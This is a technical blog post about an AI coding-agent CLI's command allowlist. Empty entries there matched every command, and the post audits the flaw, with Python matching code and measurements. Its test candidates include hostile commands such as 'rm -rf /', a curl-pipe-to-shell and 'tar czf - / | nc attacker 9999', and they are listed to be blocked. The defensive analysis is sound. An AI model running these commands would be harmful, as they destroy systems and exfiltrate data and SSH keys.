The Line I Thought Matched Nothing Was Approving Everything: Auditing Empty Allowlist Entries
Allowlist entries that decompose to zero command words matched every command and silently auto-approved it. Here is how I scanned my own config, separated the hole the fix closed from the one it did not, and rewrote matching to a prefix-token comparison.
A line reading # temporarily added for the weekly job (revert this) had been sitting in my config for weeks. I had added a permission, then commented it out with every intention of cleaning it up later.
Commented out means disabled. That was my assumption.
Reading the CLI 1.1.11 changelog showed me the assumption was wrong. Entries that decompose to zero command words were not being ignored — they were matching every command.
The line I believed I had disabled had been acting as a global approve switch. As an indie developer who leaves agents running against real repositories, that landed hard.
What separates "matches nothing" from "matches everything"
Written plainly, allowlist matching takes this shape: if every command word extracted from the entry appears in the candidate command, the entry matches.
def matches(entry_words, candidate_words): return all(w in candidate_words for w in entry_words)
Pass an empty list and Python's all() returns True. Universal quantification over an empty set is vacuously true.
>>> all(w in ["git", "status"] for w in [])True>>> all(w in [] for w in [])True
The moment entry_words becomes empty, the entry matches anything. Not "no conditions, so nothing passes" but "no conditions, so everything passes."
The language behaviour is correct. The trouble is what an empty set comes to mean inside a permission check: not "no grant" but "unlimited grant." Something that should fail closed fails open instead.
And writing an entry that decomposes to zero command words is easier than it sounds.
Entry
Command words
What the author meant
time
none
Added for timing, forgot the actual command
command(time)
none
Leftover from trying a wrapper syntax
# temporarily disabled
none
Commented out to disable it
()
none
Half-written compound command, saved anyway
!
none
Started writing a negation
time is a shell keyword, not an executable. time git status still yields git; time on its own yields nothing at all. That is the trap.
Decomposing my own config and counting
Understanding the concept is one thing. Knowing whether your own config contains such a line is another. So I scanned mine.
The decomposition runs in this order: strip comments, unwrap the wrapper syntax, split with shell lexing, then discard separators and keywords.
import re, shlexSHELL_KEYWORDS = { "time", "do", "done", "then", "else", "elif", "fi", "esac", "in", "!", "{", "}", "[[", "]]", "coproc", "function", "select",}SEPARATORS = {"&&", "||", "|", ";", "&", "(", ")"}def command_words(entry: str): src = re.sub(r"#.*$", "", entry, flags=re.M).strip() # strip comments if not src: return [] src = re.sub(r"\bcommand\(([^)]*)\)", r"\1", src) # unwrap command(x) lex = shlex.shlex(src, posix=True, punctuation_chars="();&|") lex.whitespace_split = True try: toks = list(lex) except ValueError: return [] words, expect_head = [], True for t in toks: if t in SEPARATORS or re.fullmatch(r"[();&|]+", t): expect_head = True continue if expect_head: if t in SHELL_KEYWORDS or re.fullmatch(r"[A-Za-z_][A-Za-z0-9_]*=.*", t): continue # keywords and env assignments do not consume the head words.append(t) expect_head = False return words
expect_head tracks whether the next token sits in command position. Resetting it at every pipe and && is what lets git diff --stat | head -20 yield both git and head. Environment assignments are skipped because the real command in TZ=Asia/Tokyo date is date.
Bare time yields nothing; time git status keeps git. The decomposition behaves as expected.
One caveat before the numbers. What follows is not the CLI's own implementation running. I reconstructed the matching logic from the published description of the change and ran it against entries close to my real setup. Implementation details may differ, so read these figures as "this is what a check of this shape does."
✦
Thank you for reading this far.
Continue Reading
What follows includes implementation code, benchmarks, and practical content we hope you'll find useful. This site runs without ads — server and development costs are supported entirely by members like you. If it's been helpful, we'd be truly grateful for your support.
WHAT YOU'LL LEARN
✦Measured numbers showing how a single degenerate entry lifts the auto-approval rate from 51.6 percent to 100 percent
✦The hole that remains after the fix: 58.3 percent of well-formed entries still matched more than their author intended
✦A prefix-token rewrite that drops over-matching to 25.0 percent and pushes git push --force and cat ~/.ssh/id_ed25519 back behind a prompt
Secure payment via Stripe · Cancel anytime
✦
Unlock This Article
Get full access to the rest of this article. Buy once, read anytime. This site is ad-free — your support goes directly toward keeping it running.
I assembled 16 allowlist entries: 12 legitimate ones (git status, npm run build, python3 scripts/generate.py and similar) and 4 degenerate ones (time, command(time), a comment-only line, and ()).
Then 31 candidate commands — a mix of things I want running unattended and things that must always stop for confirmation, such as rm -rf /, curl ... | sh, kubectl delete ns production, and tar czf - / | nc attacker 9999.
allowlist entries : 16
entries with zero command words: 4
candidate commands : 31
approved under old behaviour : 31 / 31 (100.0%)
approved under new behaviour : 16 / 31 (51.6%)
Under the old behaviour everything passed. However carefully the legitimate entries were written, one degenerate line made the rest meaningless.
I also measured adding just one:
Configuration
Approved candidates
Rate
12 legitimate entries only
16 / 31
51.6%
plus time
31 / 31
100.0%
plus # temporarily disabled
31 / 31
100.0%
plus ()
31 / 31
100.0%
From 51.6 percent to 100 percent with a single line. What makes this dangerous is how quiet it is: no error, no warning, just the absence of a confirmation prompt. Work appears to be flowing unusually smoothly.
The 15 commands that passed only under the old behaviour show the character of the gap:
Checking your own config for degenerate entries is worth doing today.
The hole the fix closed, and the one it did not
This is the part I most wanted to write down.
The new behaviour stops degenerate entries from matching anything, closing the vacuous-quantification hole. But looking at the 16 commands that still pass at 51.6 percent, several of them should not.
The reason is simple. Matching happens at command-word granularity, so allowing git status allows anything containing the word git. Allowing cat package.json allows reading any file at all.
Counting matches per entry:
Entry
Matches
Beyond the author's intent
git status
4
git diff --stat / git push --force / git log
git diff
4
git status / git push --force / git log
npm run build
3
npm test / npm publish
python3 scripts/generate.py
2
python3 -c '...os.remove(...)'
cat package.json
2
cat ~/.ssh/id_ed25519
ls -la / rg --files / node --version
1 each
none
Seven of twelve — 58.3 percent — matched beyond what their author intended.
npm run build quietly covering npm publish is the one that stings. Publishing a package had been riding along on a build permission.
The fix was necessary but not sufficient. What 1.1.11 closed is the extreme case of entries decomposing to nothing; the command-word granularity itself is unchanged. Treating it as a prompt to revisit your config seems the reasonable reading.
Rewriting to prefix-token matching
I moved to a finer granularity: instead of comparing sets of command words, check whether the entry's token sequence matches the head of the candidate exactly.
def matches_prefix(entry, cand): ew, cw = tokens(entry), tokens(cand) if not command_words(entry): # degenerate entries match nothing, explicitly return False if len(ew) > len(cw): return False return cw[:len(ew)] == ew
The line returning False when command_words(entry) is empty sits first on purpose. Never hand an empty set to an implicit universal quantifier; close it explicitly. That single line is the whole lesson.
The remaining 25.0 percent is git diff --stat under git diff, npm test -- --watch=false under npm test, and wc -l src/*.ts under wc -l. Each is the entry with extra arguments appended, and I judged those as intended. Choosing prefix matching means accepting that added arguments pass — a deliberate trade-off.
Tightening to exact equality would drive over-matching to zero, but a one-character difference in arguments would then trigger a prompt. For a setup running unattended jobs, I consider that the more costly failure.
After the update, things that used to pass will stop
The easily missed consequence sits on the other side of the fix.
In an environment that had been globally approving because of a degenerate entry, updating drops the approval rate from 100 percent to whatever the config actually says — 51.6 percent in the setup above. Close to half of all operations suddenly start asking.
Unattended scheduled runs stall there. The usual way to discover this is a nightly job sitting at an approval prompt in the morning.
The order I settled on for surfacing this before updating:
Run every entry in the config through command_words() and list the ones that come back empty
If even one is empty, treat that environment as having approved essentially everything
Extract the commands the agent actually ran from recent session logs
Re-match those commands against the config with degenerate entries removed
Decide, one by one, whether each dropped command becomes a legitimate entry or stays behind a prompt
Step 3 carries the weight. Working backwards from commands that actually ran is faster and less lossy than reasoning about what ought to be permitted. Several commands I had not anticipated showed up when I did this on my own setup.
Step 5 matters too. Approving everything that dropped is indistinguishable from manually restoring the broken state.
Folding the scan into daily operation
I wanted this to run on every config change rather than once, so I measured the cost.
Entries
Scan time (median of 30)
Degenerate entries found
16
0.50 ms
4
50
1.52 ms
12
200
6.12 ms
48
1,000
30.86 ms
248
Around 31 ms at 1,000 entries. Nobody will feel that in a commit hook.
Matching cost is more sensitive to how you write it:
Implementation
12 entries x 31 candidates
Per decision
Tokenize on every comparison
31.73 ms
85.3 us
Pre-tokenize entries
1.33 ms
3.6 us
A 23.8x difference, dominated by constructing shlex.shlex rather than by the comparison itself. Tokenize entries once at config load, keep them, and decompose only the candidate each time.
Permission checks run on every command execution. When they are slow, there is pressure to design away confirmations. Keeping them fast is part of what makes the safe design sustainable.
Being able to verify mechanically that a config matches only what you meant also gives you grounds for reducing prompts. The mirror-image problem — configs rejected at load time — is covered in the piece on statically checking hook matcher reachability. Today's case is the same question from the opposite side: configs that are not rejected, and match far too much.
Decide, as a design choice, what an empty set means
None of this is really specific to Antigravity CLI. It is a design decision about what a predicate returns when its condition set is empty.
I found the same shape in my own code: filters that return everything when no criteria are given, tag queries that fall back to all articles. Reasonable for reads. Put the same shape inside a permission or deletion check and you get the same hole.
So I made it a rule: any predicate touching permissions handles the empty set explicitly.
# avoiddef allowed(rules, cmd): return all(r.matches(cmd) for r in rules)# write insteaddef allowed(rules, cmd): if not rules: return False # no rules means no permission return all(r.matches(cmd) for r in rules)
Two lines. Without them, it fails open.
Start by running every entry in your config through command_words(). If even one returns an empty list, that environment has been approving essentially everything.
I am still working out what good permission design looks like, but closing these holes one at a time feels like the right direction. Thank you for reading.
Share
Thank You for Reading
Antigravity Lab is ad-free, supported entirely by members like you. We publish practical guides daily with implementation code, benchmarks, and production-ready patterns. If you've found it useful, we'd love to have you on board.